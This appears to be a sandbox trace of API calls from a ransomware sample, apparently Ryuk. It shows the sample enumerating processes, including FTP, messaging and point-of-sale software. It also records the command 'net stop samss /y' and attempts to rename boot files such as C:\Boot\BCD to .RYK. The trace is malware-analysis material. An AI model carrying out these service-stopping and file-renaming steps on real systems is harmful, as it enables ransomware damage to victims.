	[0268.025] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="groundwater pokemon.exe")) returned 1
	[0268.027] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="kinds-earth-explains.exe")) returned 1
	[0268.029] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0268.031] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0268.033] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0268.035] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0268.037] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0268.038] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0268.040] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0268.042] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0268.044] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0268.046] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0268.047] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0268.049] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0268.051] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0268.053] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0268.055] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0268.056] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0268.058] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0268.060] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0268.062] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0268.064] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0268.437] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0268.438] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0268.440] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0268.442] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0268.444] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0268.446] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0268.447] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0268.449] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0268.451] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0268.453] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0268.455] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0268.456] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0268.458] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0268.460] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0268.462] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0268.464] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0268.465] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0268.467] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0268.469] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0268.842] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0268.844] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0268.846] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0268.848] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="metropolitan purchases.exe")) returned 1
	[0268.850] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana.exe")) returned 1
	[0268.852] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="floppy.exe")) returned 1
	[0268.853] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="computed kernel.exe")) returned 1
	[0268.855] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0268.857] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xad0, pcPriClassBase=8, dwFlags=0x0, szExeFile="uZkoH.exe")) returned 1
	[0268.858] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x81, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="fMRKmiSrvlan.exe")) returned 1
	[0268.860] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf0, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="HovnaLKnSlan.exe")) returned 1
	[0268.862] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0268.864] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0268.866] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0268.867] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0268.869] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0268.871] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0268.873] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2ae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0268.874] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0269.197] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0269.199] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0269.201] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0269.203] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x307c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ae0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0269.204] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x30cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ad8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1
	[0269.206] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x364c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0269.208] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3b4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0269.209] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x894, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1
	[0269.211] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0269.213] Process32NextW (in: hSnapshot=0x2b44, lppe=0x296f3b0 | out: lppe=0x296f3b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0269.214] CloseHandle (hObject=0x2b44) returned 1
	[0269.214] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0xdb7e0
	[0269.215] EnumServicesStatusW (in: hSCManager=0xdb7e0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x0, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 0
	[0269.215] VirtualAlloc (lpAddress=0x0, dwSize=0x1828, flAllocationType=0x1000, flProtect=0x40) returned 0x2750000
	[0269.216] EnumServicesStatusW (in: hSCManager=0xdb7e0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x2750000, cbBufSize=0x1828, pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0 | out: lpServices=0x2750000*(lpServiceName="Appinfo", lpDisplayName="Application Information", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0x81, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x296f848, lpServicesReturned=0x296f840, lpResumeHandle=0x296f5b0) returned 1
	[0269.218] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="net", lpParameters="stop \"samss\" /y", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0270.737] Sleep (dwMilliseconds=0x96) 
	[0273.839] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0273.841] Sleep (dwMilliseconds=0xc350) 
	[0284.187] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) 

Thread:
	id = 135
	os_tid = 0x5f8


Thread:
	id = 141
	os_tid = 0x838


Thread:
	id = 143
	os_tid = 0x308


Thread:
	id = 145
	os_tid = 0x56c

	[0157.947] SetFileAttributesW (lpFileName="C:\\Boot\\BCD", dwFileAttributes=0x80) returned 0
	[0157.947] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.949] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), lpNewFileName="C:\\Boot\\BCD.RYK" (normalized: "c:\\boot\\bcd.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 146
	os_tid = 0x474

	[0157.950] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG", dwFileAttributes=0x80) returned 0
	[0157.950] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.951] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.951] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), lpNewFileName="C:\\Boot\\BCD.LOG.RYK" (normalized: "c:\\boot\\bcd.log.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 147
	os_tid = 0x7b0

	[0157.953] SetFileAttributesW (lpFileName="C:\\Boot\\BCD.LOG1", dwFileAttributes=0x80) returned 0
	[0157.953] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.953] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.954] MoveFileExW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.RYK" (normalized: "c:\\boot\\bcd.log1.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 148
	os_tid = 0x904

